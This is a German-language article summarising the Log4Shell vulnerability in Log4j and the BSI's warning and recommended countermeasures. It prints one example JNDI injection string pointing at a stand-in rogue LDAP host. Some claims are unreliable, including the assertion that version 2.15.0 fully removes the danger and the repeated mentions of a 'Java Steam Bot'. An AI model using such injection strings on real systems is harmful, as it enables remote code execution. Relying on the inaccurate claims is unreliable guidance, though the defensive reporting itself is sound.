Log4j - Kritische Zero-Day-Schwachstelle in Logging-Bibliothek

Schwachstelle in Log4j ist eine Gefahr für Apps und Server

Die Zero-Day-Lücke Log4Shell gilt als ausgesprochen sicherheitskritisch. Sie ermöglicht es Angreifern, in der weitverbreiteten Java-Logging-Bibliothek einen beliebigen Code auszuführen. Das Problem daran: Log4j ist weit verbreitet und selbst Dienste wie Amazon, Apple, Steam und Twitter nutzen es. Das sind jedoch nur die ganz großen Namen - tatsächlich vermuten Experten, dass die Lücke viele kleinere Angebote ebenso betrifft.
Wichtig: Admins müssen unbedingt aktiv werden! Der aktuelle Proof-of-Concept-Code demonstriert, wie Angreifer diese Log4j-Zero-Day-Lücke ausnutzen können. Die ersten Angriffe wurden bereits bekannt gegeben.
Dass im Falle solcher Zero-Day Attacken dringend zu handeln ist, zeigt auch das Fallbeispiel GraphQL. Laut den OWASP Top Ten bietet es Cyberkriminellen einige der wichtigsten Sicherheitslücken. Dasselbe gilt für den PrintNightmare, der vor Kurzem viele Unternehmen in Aufregung versetzte. Beide zeigen, dass regelmäßige Pentests und eine höhere IT-Sicherheit für Firmen unbedingt notwendig sind.
Ähnlich wie beim PrintNightmare oder dem Fallbeispiel von GraphQL, nutzen Angreifer manipulierte Anfragen für ihre Zwecke. Diese schicken sie an einen verwundbaren Server oder eine App. Im Falle von Log4j erscheint daraufhin eine Zeichenkette im Protokoll. Diese veranlasst beispielsweise den Java Steam Bot dazu, Daten aus potenziell bösartigen JavaKlassen entgegenzunehmen. Da besagter Server vom Angreifer selbst kontrolliert wird, gelingt es ihm auf diese Weise den fremden Server zu kapern.
Aufgrund der Tragweite der Log4J-Lücke, warnt das Bundesamt für Sicherheit in der Informationstechnik (BSI) mit der höchsten Warnstufe. Der Grund dafür ist unter anderem, dass der tatsächliche Stellenwert des Problems noch nicht bekannt ist. Da Hacker sie derzeit aktiv nutzen, besteht für Unternehmen ein akuter Handlungsbedarf.

So sieht der Sachverhalt laut BSI aus

Das BSI hat eine ausführliche Stellungnahme über die gefährliche Log4j-Schwachstelle veröffentlicht. Darin warnt das Bundesamt vor den Folgen, die ein Angriff auf die beliebte Protokollierungsbibliothek mit sich bringt. Sie ermöglicht es den Angreifern, eigenen Quellcode im Zielsystem auszuführen. Das Ergebnis ist das Kompromittieren des betroffenen Servers.

Der Proof-of-Concept Code ist auf GitHub verfügbar und wurde unter TWI2021 auf Twitter geteilt. Weitere Beispiele zeigen ebenfalls, wie verwundbar die Schwachstellen in Log4j für Angriffe machen. Gleichzeitig stehen aber Skripte bereit, mit denen sich die eigenen Logfiles auf ihre Verwundbarkeit hin untersuchen lassen. Sie bieten jedoch keine hundertprozentige Sicherheit und sollten regelmäßige Pentests auf keinen Fall ersetzen. Schließlich helfen solche Sicherheitsmaßnahmen dabei, die Sicherheitslücken möglichst nachhaltig zu schließen.
Ein wichtiger Faktor ist laut BSI, dass sich die Log4j-Problematik eventuell auf das Internet erstrecken könnte: Sobald Java-Anwendungen über das Internet erreichbar sind, könnten diese Programme ebenfalls gefährdet sein. Und zwar, falls Sie Teile der Nutzeranfrage per Log4j protokollieren.

Diese Log4j-Version ist von der Sicherheitslücke betroffen

Betroffen von der Log4j-Sicherheitslücke sind die Versionen 2.0-beta9 bis einschließlich 2.14.1. Mit der neu veröffentlichten Version 2.15.0 hat das Apache-Projekt die Lücke kurzfristig geschlossen. Mit einer Aktualisierung auf die neuste Version ist die Gefahr demnach nicht länger gegeben. Allerdings haben die Apache-Entwickler ebenfalls Maßnahmen veröffentlicht, mit denen sich das Problem vollends beheben lässt. Allerdings ohne das Update auf die aktuellste Version. Diese Anpassungen betreffen insbesondere die Lookups.
Mittlerweile ist aber bekannt, dass nicht alleine die 2er-Versionen von Log4j betroffen sind. Die Version 1 ist unter bestimmten Umständen ebenfalls für solche Angriffe nutzbar. Anwender, die noch immer auf diese Version vertrauen, müssen deshalb unbedingt handeln. Da die Version 1 bereits End-of-Life ist, also nicht länger offiziell gepflegt, gibt es kein ausstehendes Sicherheitsupdate.

Beschreibung des Angriffs mit Schritten zur Behebung

Die Schwachstelle resultiert aus der Art und Weise, wie Protokollnachrichten vom log4j-Prozessor behandelt werden. Wenn ein Angreifer eine speziell gestaltete Nachricht sendet (sie enthält eine Zeichenkette wie ${jndi:ldap://rogueldapserver.com/a}), kann dies zum Laden einer externen Codeklasse oder zum Nachschlagen von Nachrichten und zur Ausführung dieses Codes führen, was zu einer Situation führt, die als Remote Code Execution (RCE) bekannt ist. Folgendes Bild beschreibt den Angriff und Abwehrmaßnahmen.

Quelle - Computer Emergency Response Team (GovCERT) of the Swiss government

Die Zero-Day-Lücke hat bereits eine CVE-Nummer

Aufgrund der prekären Lage und dem potenziellen Schaden durch die Log4j-Problematik hat die Zero-Day Sicherheitslücke bereits eine CVE-Nummer erhalten: CVE-2021-44228. Ihr Risiko ist als kritisch eingestuft, da zahlreiche Dienste und Anwendungen die Bibliothek verwenden.

Das BSI ordnet der Log4j-Sicherheitslücke die Stufe 4/Rot zu

Da zahlreiche Java-basierte Anwendungen auf Log4j aufbauen, ist ein Ausnutzen dieser Sicherheitslücke sehr wahrscheinlich. Gleichzeitig ist das Patch-Management in dieser Art von Apps keinesfalls trivial. Deshalb ist es wichtig, auf die kurzfristige Migration zu setzen, bis ein Update vorhanden ist.
Dass das BSI Stufe 4 ausgerufen hat, zeigt bereits, wie kritisch die Situation tatsächlich ist. Der Grund dafür ist, dass selbst grundschutz-konform eingerichtete Systeme einem Angriff nicht gänzlich gewappnet sind. Sollte eine normale Attacke fehlschlagen, bestehen weitere Möglichkeiten, um das Vorhaben dennoch erfolgreich umzusetzen. Die Komplexität der einzelnen Systeme ist in diesem Fall das größte Hindernis für Unternehmen, die ihre Sicherheit erhöhen möchten. Selbst dann, wenn das Budget für Web-Sicherheit sehr hoch angesetzt ist.
Besonders gefährdet ist laut BSI die Bedrohungslage in den Bereichen Anwendung und Geschäftsprozesse. Zwar kommen immer wieder breitflächige Scans zum Einsatz, doch bleiben die Systeme und Apps anfällig für anschließende Infektionen. Der Grund sind bis dato fehlende Patches und die zeitnahe Reaktions- und Detektionsfähigkeit innerhalb der IT-Sektoren.

Das tatsächliche Ausmaß der Log4j-Schwachstelle ist noch nicht abzusehen

Das Gefährliche an der Log4j-Problematik, auch Log4Shell genannt, ist, dass nicht nur einzelne Anwendungen betroffen sind. Tatsächlich könnte ein Großteil der Server im Internet von der aktuellen Sicherheitslücke betroffen sein.
Das bedeutet, dass die Lücke nicht nur einzelne Server betrifft: Selbst über das Internet erreichbare Anwendungen, die Nutzeranfragen über Log4j protokollieren, wären gefährdet. Demnach betrifft das Problem ebenfalls das besondere elektronische Anwaltspostfach (BeA). Dasselbe gilt für den Java Steam Bot. Unternehmen, die diese Technologie in ihren Anwendungen einsetzen, sollten deshalb so schnell wie möglich handeln.

Folgende Maßnahmen empfiehlt das BSI

Das BSI betont, wie wichtig es ist, die Angriffsfläche innerhalb verwundbarer Systeme schnellstmöglich zu reduzieren. Das Bundesamt begründet diese Empfehlung dadurch, dass ein Nachladen von Schadcode für das Ausnutzen der Sicherheitslücke nicht unbedingt notwendig ist. Eine einzige Anfrage reicht aus, um den Cyberkriminellen die Tore zu öffnen. Folgende Maßnahmen sind laut BSI besonders empfehlenswert:

• Systeme, die nicht zwingend benötigt werden, sind temporär abzuschalten. Auch Verbindungen, die nicht dringend notwendig sind, gilt es, zu blockieren.
• Auf dem Host ist eine Anomaliedetektion auszuführen. In diesem Zuge lohnt es sich zu prüfen, welche Rechte die betroffenen Dienste haben. Sinnvoll ist es zudem, die Berechtigungen auf ein Minimum zu reduzieren.
• Eingehende und ausgehende Verbindungen sind einem umfassenden Logging und einer umfangreichen Protokollierung zu unterziehen. Dadurch lässt sich eine Kompromittierung im Nachgang leichter feststellen.
• Es ist sinnvoll, Verbindungen zu anderen Systemen zu trennen. Für Systeme, die nach dem Bekanntwerden der Sicherheitslücke gepatcht wurden, sind zusätzliche Prüfungen notwendig. Diese Untersuchungen müssen feststellen, ob die Systeme bereits kompromittiert wurden. Das gilt nicht nur für Systeme, die direkt mit dem Internet verbunden sind.
• Web-Application-Firewalls, Reverse Proxies Verbindungen und Intrusive Prevention Systeme sollte man direkt abweisen, falls sie Angriffsmuster aufweisen. Sinnvoll kann es auch sein, HTTP-Header auf statische Werte zu setzen, falls sie nicht zwingend benötigt werden.